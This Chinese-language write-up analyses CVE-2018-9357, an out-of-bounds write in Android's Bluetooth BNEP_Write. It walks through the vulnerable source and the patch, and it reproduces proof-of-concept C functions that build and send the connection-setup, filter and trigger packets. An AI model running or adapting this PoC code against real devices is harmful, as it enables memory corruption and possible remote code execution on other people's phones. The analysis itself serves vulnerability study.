【蓝牙】CVE-2018-9357 BNEP_Write越界写导致RCE
补丁
https://android.googlesource.com/platform/system/bt/+/9164ee1aaf3609b4771d39302e3af649f44c9e66
这个漏洞我本来想先自己分析出来,但是没有找到漏洞点
我们先来看漏洞函数,这个函数是用于在BNEP连接里传输数据,所以我们需要先进行BNEP连接,一次BNEP连接,在处理数据包的时候,如果传入的是包指定了协议BNEP_802_1_P_PROTOCOL
,就会触发漏洞
/*******************************************************************************
*
* Function BNEP_Write
*
* Description This function sends data over a BNEP connection
*
* Parameters: handle - handle of the connection to write
* p_dest_addr - BD_ADDR/Ethernet addr of the destination
* p_data - pointer to data start
* protocol - protocol type of the packet
* p_src_addr - (optional) BD_ADDR/ethernet address of the
* source
* (should be NULL if it is local BD Addr)
* fw_ext_present - forwarded extensions present
*
* Returns: BNEP_WRONG_HANDLE - if passed handle is not valid
* BNEP_MTU_EXCEDED - If the data length is greater than
* the MTU
* BNEP_IGNORE_CMD - If the packet is filtered out
* BNEP_Q_SIZE_EXCEEDED - If the Tx Q is full
* BNEP_NO_RESOURCES - If not able to allocate a buffer
* BNEP_SUCCESS - If written successfully
*
******************************************************************************/
tBNEP_RESULT BNEP_Write(uint16_t handle, const RawAddress& p_dest_addr,
uint8_t* p_data, uint16_t len, uint16_t protocol,
const RawAddress* p_src_addr, bool fw_ext_present) {
tBNEP_CONN* p_bcb;
uint8_t* p;
// MTU检查
/* Check MTU size. Consider the possibility of having extension headers */
if (len > BNEP_MTU_SIZE) {
BNEP_TRACE_ERROR("BNEP_Write() length %d exceeded MTU %d", len, BNEP_MTU_SIZE);
return (BNEP_MTU_EXCEDED);
}
// handle检查
if ((!handle) || (handle > BNEP_MAX_CONNECTIONS)) return (BNEP_WRONG_HANDLE);
p_bcb = &(bnep_cb.bcb[handle - 1]); // 获取p_pcb
/* Check if the packet should be filtered out */
if (bnep_is_packet_allowed(p_bcb, p_dest_addr, protocol, fw_ext_present, p_data) != BNEP_SUCCESS) {
/*
** If packet is filtered and ext headers are present
** drop the data and forward the ext headers
*/
if (fw_ext_present) {
uint8_t ext, length;
uint16_t org_len, new_len;
/* parse the extension headers and findout the new packet len */
org_len = len; // org_len表示Buffer原本长度
new_len = 0; // new_len表示新的Buffer长度
p = p_data; // p表示Buffer原始起始地址
do {
ext = *p_data++; // 获取第一个字节作为ext
length = *p_data++; // 获取第二个字节作为length
p_data += length; // 移动p_data指向下一个扩展起始地址
new_len += (length + 2); // new_length加上ext,length两字节,再加上length长度的数据
if (new_len > org_len) return BNEP_IGNORE_CMD; // new_len不能超过原始Buffer整体长度org_len
} while (ext & 0x80);
if (protocol != BNEP_802_1_P_PROTOCOL)
protocol = 0;
else {
// new_len加上4
new_len += 4;
p_data[2] = 0;
p_data[3] = 0;
}
len = new_len; // len为最终的新Buffer长度
p_data = p; // p_data重新指向Buffer起始
} else
return BNEP_IGNORE_CMD;
}
...
}
通过阅读POC,如下构造数据包,传入BNEP()
的p_data
就是ext_1
开始往后的数据
第一轮循环:
ext
为0x81
,表示还有一个ext
,length
为0x00
,这样一轮循环后,p_data
就指向了ext_2
,new_len
为2第二轮循环:
ext
为0x00
,表示后面没有ext
了,length
为0x00
,第二轮循环结束后,p_data
指向OOB
出了循环,指定protocol
为0x8100
也就是BNEP_802_1_P_PROTOCOL
,就可以进入else
分支,new_len
加上4我没有理解在计算什么,后面直接对p_data[2]
和p_data[3]
进行赋值操作,此时完全没有判断OOB[0]
开始往后4个字节属于Buffer边界内,这就是一个越界写漏洞
| ext(1) | dst_addr(6) | src_addr(6) | Protocol(2) | ext_1(1) | Len_1(1) | ext_2(1) | Len_2(1) | OOB[0] | OOB[1] | OOB[2] | OOB[3] | | - | - | - | - | - | - | - | - | - | - | - | - | - | - | | 0x80 | | | 0x8100 | 0x81 | 0x00 | 0x00 | 0x00 | | |||||
构造关键数据包的步骤如下
static int send_trigger_req(int sock_fd, uint8_t *dst, uint8_t *src)
{
uint8_t *buf, *p;
int ret = 0;
p = buf = malloc(0x200);
memset(buf, 0, 0x200);
uint8_t type = 0x80; // for ext
*p++ = type;
uint8_t dst_addr[6], src_addr[6];
getbd(dst, dst_addr);
memcpy(p, dst_addr, 6); // dst_addr
p += 6;
getbd(src, src_addr);
memcpy(p, src_addr, 6); //src_add
p += 6;
// #define BNEP_802_1_P_PROTOCOL 0x8100
uint16_t protocol = 0x8100;
UINT16_TO_BE_STREAM(p, protocol);
// rem_len start
uint8_t ext_type = 0x81;
*p++ = ext_type; // enter while loop, and break
uint8_t len = 0x00;
*p++ = len; // new_len = 2
uint8_t ext2 = 0x00;
*p++ = ext2;
uint8_t *p_len2 = p; // 此时p和p_len2指向的是Len_2
p++; // p加1,指向OOB[0]
uint8_t len2 = p - buf - 15 - 2 - 2; // 这里计算出来就是0,len2 = 0
UINT8_TO_BE_STREAM(p_len2, len2); // 将0写到Len2_2的位置
send(sock_fd, buf, p - buf, 0);
free(buf);
}
那么我们现在来看完整的攻击流程,第一步是建立BNEP连接,BNEP包格式如下,E
为扩展标志位

BNEP Packet Type
有如下几种类型,我们选择BNEP_GENERAL_ETHERNET
0x00
BNEP_GENERAL_ETHERNET
0x01
BNEP_CONTROL
0x02
BNEP_COMPRESSED_ETHERNET
0x03
BNEP_COMPRESSED_ETHERNET_SOURCE_ONLY
0x04
BNEP_COMPRESSED_ETHERNET_DEST_ONLY
0x05 - 0x7E
Reserved for future use
0x7F
Reserved for 802.2 LLC Packets for IEEE 802.15.1 WG
BNEP Control Type
设置的是BNEP_SETUP_CONNECTION_REQUEST_MSG
,此处不添加扩展数据
整个连接请求包的格式

其中Destination Service UUID
和Source Service UUID
长度不固定,最少是2个字节
Destination Service UUID: Size: 2-16 Bytes
0xXX
Depending on the UUID Size parameter, this is a 2-16 byte field containing the destination (service which the source device is connecting to) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.
Source Service UUID: Size: 2-16 Bytes
0xXX
Depending on the UUID Size parameter, this is a 2-16 byte field containing the source (the service that the source device is using for the BNEP connection) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.
BNEP_SETUP_CONNECTION_REQUEST_MSG
包的构造过程如下
static int send_frame_ctrl_conn_req(int sock_fd){
uint8_t *buf, *p;
int ret = 0;
p = buf = malloc(0x100);
memset(buf, 0, 0x100);
uint8_t type = BNEP_FRAME_CONTROL;
*p++ = type;
uint8_t ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG;
*p++ = ctrl_type;
uint8_t len = 0x02;
*p++ = len;
uint16_t SRC_UUID = 0x1116; // PAN profile
uint16_t DST_UUID = 0x1115; // PAN profile
UINT16_TO_BE_STREAM(p, SRC_UUID); // src_uuid
UINT16_TO_BE_STREAM(p, DST_UUID); // dst_uuid
uint16_t protocol = 0x0000;
UINT16_TO_BE_STREAM(p, protocol);
send(sock_fd, buf, p - buf, 0);
free(buf);
}
设置filter
static int send_frame_ctrl_filter_net_req(int sock_fd)
{
// to make p_bcb->recv_num_filters not 0
uint8_t *buf, *p;
int ret = 0;
p = buf = malloc(0x100);
memset(buf, 0, 0x100);
uint8_t type = BNEP_FRAME_CONTROL;
*p++ = type;
uint8_t ctrl_type = BNEP_FILTER_NET_TYPE_SET_MSG; // no ext
*p++ = ctrl_type;
uint16_t len = 0x04; // this make num_filters = 0x01
UINT16_TO_BE_STREAM(p, len); // len
uint16_t start = 0xfffe; // must meet condition (protocol < start || protocol > end)
uint16_t end = 0xffff; // then bnep_is_packet_allowd return un-SUCCESS.
UINT16_TO_BE_STREAM(p, start);
UINT16_TO_BE_STREAM(p, end);
send(sock_fd, buf, p - buf, 0);
free(buf);
}
Last updated